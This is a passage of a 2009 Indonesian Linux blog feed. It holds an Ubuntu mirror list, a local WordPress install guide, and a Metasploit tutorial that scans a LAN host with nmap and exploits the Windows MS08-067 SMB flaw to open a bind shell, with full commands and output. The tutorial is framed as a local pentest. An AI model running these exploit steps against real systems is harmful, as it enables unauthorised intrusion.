sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.komo /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori IndikaNet (OpenIXP)<br />
Informasi situs: http://indika.net.id</p>
<p>### sources.list.indika<br />
### Repository dengan menggunakan server mirror ubuntu.indika.net.id<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://ubuntu.indika.net.id/ gutsy main restricted universe multiverse<br />
deb-src http://ubuntu.indika.net.id/ gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://ubuntu.indika.net.id/ gutsy-updates main restricted universe multiverse<br />
deb-src http://ubuntu.indika.net.id/ gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://ubuntu.indika.net.id/ gutsy-security main restricted universe multiverse<br />
deb-src http://ubuntu.indika.net.id/ gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.indika<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.indika /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori ITB (Network ITB &amp; Inherent) &#8211; FTP only<br />
Informasi situs: ftp://ftp.itb.ac.id</p>
<p>### sources.list.ftpitb<br />
### Repository dengan menggunakan server mirror ftp.itb.ac.id<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy main restricted universe multiverse<br />
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-security main restricted universe multiverse<br />
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.ftpitb<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.ftpitb /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori UGM (Inherent)<br />
Informasi situs: http://info.ugm.ac.id dan http://repo.ugm.ac.id/</p>
<p>### sources.list.ugm<br />
### Repository dengan menggunakan server mirror repo.ugm.ac.id<br />
### Untuk saat ini repo.ugm.ac.id hanya tersedia dist gutsy saja<br />
## REPOSITORY UTAMA<br />
deb http://repo.ugm.ac.id/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://repo.ugm.ac.id/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://repo.ugm.ac.id/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.ugm<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.ugm /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori FOSS-ID (Telkom)<br />
Informasi situs: http://www.foss-id.web.id</p>
<p>### sources.list.foss-id<br />
### Repository dengan menggunakan server mirror foss-id.web.id<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://dl2.foss-id.web.id/ubuntu gutsy main restricted universe multiverse<br />
deb-src http://dl2.foss-id.web.id/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://dl2.foss-id.web.id/ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src http://dl2.foss-id.web.id/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://dl2.foss-id.web.id/ubuntu gutsy-security main restricted universe multiverse<br />
deb-src http://dl2.foss-id.web.id/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.foss-id<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.foss-id /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori ITS (Inherent)<br />
Informasi situs: http://mirror.its.ac.id/</p>
<p>### sources.list.its<br />
### Repository dengan menggunakan server mirror mirror.its.ac.id<br />
## REPOSITORY UTAMA<br />
deb http://mirror.its.ac.id/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://mirror.its.ac.id/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://mirror.its.ac.id/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.its<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.its /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repository UNEJ (OpenIXP, Telkom)<br />
Informasi situs: http://mirror.unej.ac.id/</p>
<p>### sources.list.unej<br />
deb http://mirror.unej.ac.id/ubuntu/ intrepid main restricted universe multiverse<br />
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid main restricted universe multiverse<br />
deb http://mirror.unej.ac.id/ubuntu/ intrepid-updates main restricted universe multiverse<br />
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid-updates main restricted universe multiverse<br />
deb http://mirror.unej.ac.id/ubuntu/ intrepid-security main restricted universe multiverse<br />
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://mirror.unej.ac.id/doc/sources.list-ubuntu.intrepid<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list-ubuntu.intrepid /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repository KLAS (IIXJI, Radnet)<br />
Informasi situs: http://buaya.klas.or.id/</p>
<p>### sources.list.buaya<br />
deb http://buaya.klas.or.id/ubuntu/ intrepid main restricted universe multiverse<br />
deb-src http://buaya.klas.or.id/ubuntu/ intrepid main restricted universe multiverse<br />
deb http://buaya.klas.or.id/ubuntu/ intrepid-updates main restricted universe multiverse<br />
deb-src http://buaya.klas.or.id/ubuntu/ intrepid-updates main restricted universe multiverse<br />
deb http://buaya.klas.or.id/ubuntu/ intrepid-security main restricted universe multiverse<br />
deb-src http://buaya.klas.or.id/ubuntu/ intrepid-security main restricted universe multiverse</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/03/repository-ubuntu-indonesia/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Metasploit I : Teknik Dasar</title>
		<link>http://www.masrony.com/2009/03/metasploit-i-teknik-dasar/</link>
		<comments>http://www.masrony.com/2009/03/metasploit-i-teknik-dasar/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 17:24:44 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[audit security]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploit how to]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[msfcli]]></category>
		<category><![CDATA[msfconsole]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=175</guid>
		<description><![CDATA[Posting ini kubuat sebagai salah satu contoh audit security halah.. pentest aja yah bahasanya di network lokal tempatku bekerja. Ndak pake kata-kata hacking lah.. Wong cuman manfaatin tools yang disebar di inet kok disebut hacking :p. Soalnya banyak kale yang test metasploit seperti ini dan dibilang hacking bla-bla-bla. :-p. Go to side corner lamerzz&#8230; Post [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Posting ini kubuat sebagai salah satu contoh <em>audit security</em> halah.. <em>pentest</em> aja yah bahasanya di network lokal tempatku bekerja. Ndak pake kata-kata hacking lah.. Wong cuman manfaatin tools yang disebar di inet kok disebut hacking :p. Soalnya banyak kale yang test metasploit seperti ini dan dibilang hacking bla-bla-bla. :-p. Go to side corner lamerzz&#8230; Post ini juga buat bayar utang ma <a title="Hardi Heboh" href="http://www.facebook.com/profile.php?id=1557380569" target="_blank">hardie</a> soal metasploit <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Ini coy dah kutepatin janjinya. silahkan coba sendiri ya. cara yang paling mudah sebenarnya bisa menggunakan OS BackTrack, tapi disini saya menggunakan ubuntu yang telah diinstall metasploit. Langkah instalasinya bisa dilihat <a href="http://www.masrony.com/2009/03/15/instalasi-metasploit-3-di-ubuntu-intrepid/">disini</a>.</p>
<p style="text-align: justify;"><strong>Metasploit : msfconsole</strong><br />
Lets go.. pertama kali kita coba dengan testing manual menggunakan metasploit console (msfconsole) yang mana test ini dilakukan pada single mesin windows xp sp2 dengan melakukan percoban exploit <a href="http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx">ms windows MS08-067</a> yaitu vulner pada microsoft windows di port 445 beberapa waktu yang lalu yang sempet bikin microsoft kelimpungan <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> . Dari terminal console ketik perintah berikut, seperti pada gambar dibawah:<br />
<span id="more-175"></span>$ msfconsole
</p>
<p style="text-align: center;"><img class="aligncenter" src="http://i184.photobucket.com/albums/x99/ronevic/Blog/msfconsole1.png" alt="Metasploit" width="447" height="296" /></p>
<p style="text-align: justify;">Untuk perintah-perintah lainnya bisa dipelajari dengan mengetikkan help :</p>
<ul style="text-align: justify;">msf &gt; help</ul>
<ul style="text-align: justify;">
<pre>Core Commands
=============

Command       Description
-------       -----------
?             Help menu
back          Move back from the current context
banner        Display an awesome metasploit banner
cd            Change the current working directory
connect       Communicate with a host
exit          Exit the console
help          Help menu
info          Displays information about one or more module
irb           Drop into irb scripting mode
jobs          Displays and manages jobs
load          Load a framework plugin
loadpath      Searches for and loads modules from a path
quit          Exit the console
resource      Run the commands stored in a file
route         Route traffic through a session
save          Saves the active datastores
search        Searches module names and descriptions
sessions      Dump session listings and display information about sessions
set           Sets a variable to a value
setg          Sets a global variable to a value
show          Displays modules of a given type, or all modules
sleep         Do nothing for the specified number of seconds
unload        Unload a framework plugin
unset         Unsets one or more variables
unsetg        Unsets one or more global variables
use           Selects a module by name
version       Show the framework and console library version numbers</pre>
</ul>
<p style="text-align: justify;">Untuk melihat list exploits-nya , gunakan perintah :</p>
<ul style="text-align: justify;">msf &gt; show exploits</ul>
<p style="text-align: justify;">List seluruh exploit yang ada kira-kira seperti ini (saya paste sebagian saja biar ndak terlalu panjang) :</p>
<ul style="text-align: justify;">
<pre>windows/smb/ms05_039_pnp              Microsoft Plug and Play Service Overflow
windows/smb/ms06_025_rasmans_reg      Microsoft RRAS Service RASMAN Registry Overflow
windows/smb/ms06_025_rras             Microsoft RRAS Service Overflow
windows/smb/ms06_040_netapi           Microsoft Server Service NetpwPathCanonicalize Overflow
windows/smb/ms06_066_nwapi            Microsoft Services MS06-066 nwapi32.dll
windows/smb/ms06_066_nwwks            Microsoft Services MS06-066 nwwks.dll
windows/smb/ms08_067_netapi           Microsoft Server Service Relative Path Stack Corruption</pre>
</ul>
<p style="text-align: justify;">Scan mesin target menggunakan nmap. Dalam contoh kasus kali ini kita gunakan kompi dg ip 192.168.1.28 :</p>
<ul style="text-align: justify;">msf &gt; sudo nmap -v -sS -A -O 192.168.1.28</ul>
<ul style="text-align: justify;">
<pre>[*] exec: sudo nmap -v -sS -A -O 192.168.1.28
[sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-21 23:50 CIT
Initiating ARP Ping Scan at 23:50
Scanning 192.168.1.28 [1 port]
Host 192.168.1.28 appears to be up ... good.
Interesting ports on 192.168.1.28:
Not shown: 1712 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)
Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows</pre>
</ul>
<p style="text-align: justify;">Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka. Mari kita coba kompi ini dengan menggunakan exploit windows/smb/ms08_067_netapi.</p>
<ul style="text-align: justify;">msf &gt; use windows/smb/ms08_067_netapi<br />
msf exploit(ms08_067_netapi) &gt;</ul>
<p style="text-align: justify;">Lihat opsi dari exploit ini dengan mengetikkan show options :</p>
<ul style="text-align: justify;">msf exploit(ms08_067_netapi) &gt; show options</ul>
<ul style="text-align: justify;">
<pre>Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  

Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting</pre>
</ul>
<p style="text-align: justify;">Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target)  dengan mengetikkan :</p>
<ul style="text-align: justify;">msf exploit(ms08_067_netapi) &gt; set rhost 192.168.1.28<br />
rhost =&gt; 192.168.1.28</ul>
<p style="text-align: justify;">Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS  komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :</p>
<ul style="text-align: justify;">msf exploit(ms08_067_netapi) &gt; show targets</ul>
<ul style="text-align: justify;">
<pre>Exploit targets:
   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (NX)
   4   Windows XP SP3 English (NX)
   -------- cut -----------</pre>
</ul>
<p style="text-align: justify;">Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :</p>
<ul style="text-align: justify;">msf exploit(ms08_067_netapi) &gt; set payload  windows/shell_bind_tcp<br />
payloads =&gt; windows/shell_bind_tcp</ul>
<p style="text-align: justify;">Untuk melihat payload apa saja dalam metasploit, gunakan perintah :</p>
<ul style="text-align: justify;">msf exploit(ms08_067_netapi) &gt; show payloads</ul>
<ul style="text-align: justify;">
<pre>Compatible payloads
===================
   Name                                            Description
   ----                                            -----------
   generic/debug_trap                Generic x86 Debug Trap
   generic/debug_trap/bind_ipv6_tcp  Generic x86 Debug Trap, Bind TCP Stager (IPv6)
   generic/debug_trap/bind_nonx_tcp  Generic x86 Debug Trap, Bind TCP Stager (No NX Support)
   generic/debug_trap/bind_tcp       Generic x86 Debug Trap, Bind TCP Stager
----------- dipotong sampai disini ---------------</pre>
</ul>
<p style="text-align: justify;">Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :</p>
<ul style="text-align: justify;">msf exploit(ms08_067_netapi) &gt; show options</ul>
<ul style="text-align: justify;">
<pre>Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.28     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  

Payload options (windows/shell_bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.1.28     no        The target address
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting</pre>
</ul>
<p style="text-align: justify;">sekarang jalankan exploit :</p>
<ul style="text-align: justify;">msf exploit(ms08_067_netapi) &gt; exploit</ul>
<ul style="text-align: justify;">
<pre>[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.6:33270 -&gt; 192.168.1.28:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.28
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.254

C:\WINDOWS\system32&gt;</pre>
</ul>
<p style="text-align: justify;">Dan ternyata emang masih bolong&#8230; :p<br />
<strong></strong></p>
<p style="text-align: justify;"><strong> Metasploit : msfcli</strong><br />
Dari langkah-langkah diatas&#8230; sebenarnya bisa dilakukan exploitasi dengan menggunakan satu perintah dari console, dan diakomodir dengan menggunakan msfcli yang notabene sebenarnya adalah metasploit command line interface.<br />
Untuk melihat manual perintahnya bisa dilihat dari help maupun <del datetime="2009-03-21T15:46:42+00:00">manpage-nya</del> <a href="https://wiki.remote-exploit.org/backtrack/wiki/msfcli">wiki</a>-nya metasploit.</p>
<ul style="text-align: justify;">sinchan@hydra:~$ msfcli &#8211;help</ul>
<ul style="text-align: justify;">
<pre>[*] Please wait while we load the module tree...
Error: Invalid module: --help
Usage: /usr/local/bin/msfcli   [mode]
=================================================================
    Mode           Description
    ----           -----------
    (H)elp         You're looking at it baby!
    (S)ummary      Show information about this module
    (O)ptions      Show available options for this module
    (A)dvanced     Show available advanced options for this module
    (I)DS Evasion  Show available ids evasion options for this module
    (P)ayloads     Show available payloads for this module
    (T)argets      Show available targets for this exploit module
    (AC)tions      Show available actions for this auxiliary module
    (C)heck        Run the check routine of the selected module
    (E)xecute      Execute the selected module</pre>
</ul>
<p style="text-align: justify;">So.. mari kita coba. Contoh kasusnya sama seperti artikel msfconsole biar ndak capek nulisnya yaitu:</p>
<ul style="text-align: justify;">
<pre>IP Addr Target	: 192.168.1.28
Port target	: 445
Exploit		: windows/smb/ms08_067_netapi
Payload		: windows/shell_bind_tcp
Exploit target	: 0</pre>
</ul>
<p style="text-align: justify;">Dan implementasinya menjadi seperti ini :</p>
<ul style="text-align: justify;">sinchan@hydra:~$ msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.1.28 TARGET=0 PAYLOAD=generic/shell_bind_tcp E</ul>
<ul style="text-align: justify;">
<pre>[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.6:36804 -&gt; 192.168.1.28:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.28
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.254
C:\WINDOWS\system32&gt;</pre>
</ul>
<p style="text-align: justify;">Implementasi yang sama juga bisa dilakukan pada metasploit GUI (msfgui) dan metasploit berbasis web (msfweb). Silahkan dicoba sendiri karena saya malas upload gambarnya :-p. Dari teknik dasar ini silahkan dikembangkan dengan teknik-teknik yang lain.<br />
Artikel ini sebenarnya pengen saya lanjutkan dengan db_auotpwn, tapi ternyata capek juga nulis segini panjang. Yah terpaksa bikin berseri : <a href="http://www.masrony.com/2009/04/05/metasploit-ii-mass-exploitation/">Metasploit II : Mass exploitation</a>. Nyusul yah&#8230;.<br />
Use this article and this information wisely&#8230;</p>
<p style="text-align: justify;">Sumber :<br />
- <a href="http://trac.metasploit.com/">http://trac.metasploit.com/</a><br />
- <a href="https://wiki.remote-exploit.org/backtrack/wiki/TitleIndex">https://wiki.remote-exploit.org/backtrack/wiki</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/03/metasploit-i-teknik-dasar/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Simple Wordpress Installation</title>
		<link>http://www.masrony.com/2009/03/simple-wordpress-installation/</link>
		<comments>http://www.masrony.com/2009/03/simple-wordpress-installation/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 09:30:54 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Blog Wall]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[install wordpress]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[ubuntu webserver]]></category>
		<category><![CDATA[webserver]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=151</guid>
		<description><![CDATA[Kalo ingin utak-atik wordpress dan plugins ataupun coba-coba sesuatu, biasanya saya lakukan di lokal komputer. Lebih mudah, ringan, dan ndak perlu konek ke online blog. Ini juga sangat berguna bagi kaum fakir bandwidth  . Lah dari pada bengong nunggu hasil test eh ternyata error atau hasilnya tidak seperti yang kita inginkan kan malah bikin [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Kalo ingin utak-atik wordpress dan plugins ataupun coba-coba sesuatu, biasanya saya lakukan di lokal komputer. Lebih mudah, ringan, dan ndak perlu konek ke online blog. Ini juga sangat berguna bagi kaum <a href="http://www.masrony.com/2009/02/27/powered-by-wotpres/" target="_blank">fakir bandwidth</a> <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> . Lah dari pada bengong nunggu hasil test eh ternyata error atau hasilnya tidak seperti yang kita inginkan kan malah bikin bete, Iya toh.. ya toh&#8230;.<br />
Sebelumnya siapkan dulu paket webservernya yaitu apache, php, dan mysql. Bagi yang menggunakan windows bisa menggunakan <a title="XAMPP Page" href="http://www.apachefriends.org/en/xampp.html" target="_blank">XAMPP</a>. Kalo make linux malah lebih mudah karena di distro-nya udah mencakup paket-paket ini. Untuk instalasinya bisa baca-baca manual masing-masing distro. Bagi yang kebetulan menggunakan distro ubuntu bisa langsung ikuti cara berikut ini :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">$ sudo apt-get install apache2 php5 mysql-server apache2-suexec php5-mysql php5-gd php5-suhosin libapache2-mod-php5</span></ul>
</p>
<p style="text-align: justify;">Kemudian buka file httpd.conf di folder /etc/apache2. Gunakan editor yang anda suka:</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">$ sudo vi /etc/apache2/httpd.conf</span></ul>
<p style="text-align: justify;">Tambahkan dengan nama server (terserah anda) :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">Servername www.masrony.com:80</span></ul>
<p style="text-align: justify;"><span id="more-151"></span>simpan konfigurasi tersebut dan restart apache-nya :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">$ sudo /etc/init.d/apache2 restart</span></ul>
<p style="text-align: justify;">Buat file dengan nama info.php di folder /var/www :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">$ sudo touch /var/www/info.php</span></ul>
<p style="text-align: justify;">Edit file tersebut seperti berikut ini :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">$ sudo vi /var/www/info.php</span></ul>
<ul style="text-align: justify;"><span style="color: #008000;"><strong>&lt;?php<br />
phpinfo();<br />
phpinfo(INFO_MODULES);<br />
?&gt;</strong></span></ul>
<p style="text-align: justify;">Simpan file tersebut (simpan file menggunakan vi : Shift + zz) dan buka browser dan ketikkan url : <strong>http://localhost/info.php</strong>. Sehingga akan tampil hasil konfigurasi web server anda seperti ini :</p>
<p style="text-align: center;"><img class="aligncenter" title="PHP Info" src="http://i184.photobucket.com/albums/x99/ronevic/Blog/phpinfo.png" alt="" width="448" height="336" /></p>
<p style="text-align: justify;">Instalasi web server sudah selesai.  Untuk mempelajari lebih lanjut mengenai web server ini silahkan anda buka manual page yang telah disediakan. Kemudian download wordpress versi terbaru <a title="Download latest wordpress" href="http://wordpress.org/latest.zip">disini</a>, dengan menggunakan wget :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">$  sudo wget -c http://wordpress.org/latest.zip</span></ul>
<p style="text-align: justify;">Kemudian mekarkan file kompresi tersebut :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">$ unzip latest.zip</span></ul>
<p style="text-align: justify;">Hasil ekstraksi file tersebut berada dalam folder wordpress. Pindahkan semua file tersebut ke dalam folder /var/www (root direktori apache) :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">$ sudo mv wordpress/* /var/www</span></ul>
<p style="text-align: justify;">Kemudian buat database wordpress dengan user wp dan password wp untuk instalasi wordpress ini di mysql :</p>
<ul style="text-align: justify;"><span style="color: #0000ff;">sinchan@hydra:~$ mysql -u root -p mysql</span></ul>
<ul style="text-align: justify;">Enter password: ***********<br />
Type &#8216;help;&#8217; or &#8216;\h&#8217; for help. Type &#8216;\c&#8217; to clear the buffer.<span style="color: #0000ff;"><br />
mysql&gt; create database wordpress;</span><br />
Query OK, 1 row affected (0.00 sec)<br />
<span style="color: #0000ff;"> mysql&gt; grant all on wordpress.* to wp@localhost identified by &#8216;wp&#8217;;</span><br />
Query OK, 0 rows affected (0.07 sec)<br />
<span style="color: #0000ff;"> mysql&gt; flush privileges;</span><br />
Query OK, 0 rows affected (0.00 sec)<br />
<span style="color: #0000ff;"> mysql&gt; exit</span><br />
Bye<br />
sinchan@hydra:~$</ul>
<p style="text-align: justify;">Kemudian kopi file wp-config-sample.php menjadi wp-config.php di folder /var/www dan edit konfigurasi database di file tersebut :</p>
<ul style="text-align: left;"><span style="color: #0000ff;">$ sudo cp /var/www/wp-config-sample.php /var/www/wp-config.php<br />
$ sudo vi /var/www/wp-config.php</span></ul>
<p style="text-align: justify;">Ubah bagian DB_NAME, DB_USER, dan DB_PASSWORD seperti dibawah ini (sesuai konfigurasi database di atas) :</p>
<ul style="text-align: justify;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
// ** MySQL settings &#8211; You can get this info from your web host ** //<br />
/** The name of the database for WordPress */<br />
define(&#8216;DB_NAME&#8217;, &#8216;wordpress&#8217;);<br />
/** MySQL database username */<br />
define(&#8216;DB_USER&#8217;, &#8216;wp&#8217;);</p>
<p>/** MySQL database password */<br />
define(&#8216;DB_PASSWORD&#8217;, &#8216;wp&#8217;);</p>
<p>/** MySQL hostname */<br />
define(&#8216;DB_HOST&#8217;, &#8216;localhost&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</ul>
<p style="text-align: justify;">Simpan file tersebut. Konfigurasi wordpress sudah selesai dan next step : instalasi wordpress. Instalasi wordpress, dilakukan dari web browser. Buka web browser anda dan ketikkan url : <strong>http://localhost/wp-admin/install.php</strong>, seperti dibawah ini:</p>
<p style="text-align: justify;"><img class="aligncenter" title="Wordpress Install" src="http://i184.photobucket.com/albums/x99/ronevic/Blog/wp1.png" alt="" width="448" height="336" /></p>
<p style="text-align: justify;">Isi informasi blog yang anda buat dan tekan Install Wordpress. Setelah instalasi sukses, anda akan mendapatkan username dan password wordpress, seperti gambar dibawah ini:</p>
<p style="text-align: justify;"><img class="aligncenter" title="Wordpress user and password" src="http://i184.photobucket.com/albums/x99/ronevic/Blog/wp2.png" alt="" width="448" height="336" /></p>
<p style="text-align: justify;">Tekan login untuk masuk ke menu administrasi wordpress dan masukkan user dan password yang telah diberikan sebelumnya seperti gambar di bawah:</p>
<p style="text-align: justify;"><img class="aligncenter" title="Wordpress login page" src="http://i184.photobucket.com/albums/x99/ronevic/Blog/wp3.png" alt="" width="448" height="336" /></p>
<p style="text-align: justify;">Wordpress telah siap digunakan, silahkan anda kembangkan kreatitifitas anda:</p>
<p style="text-align: justify;"><img class="aligncenter" title="Wordpress admin page" src="http://i184.photobucket.com/albums/x99/ronevic/Blog/wp4.png" alt="" width="448" height="336" /></p>
<p style="text-align: justify;">
<p style="text-align: justify;">
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/03/simple-wordpress-installation/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FIGcharacters menggunakan FIGlet</title>
		<link>http://www.masrony.com/2009/03/figcharacters-menggunakan-figlet/</link>
		<comments>http://www.masrony.com/2009/03/figcharacters-menggunakan-figlet/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 09:51:50 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[banner]]></category>
		<category><![CDATA[figcharacters]]></category>
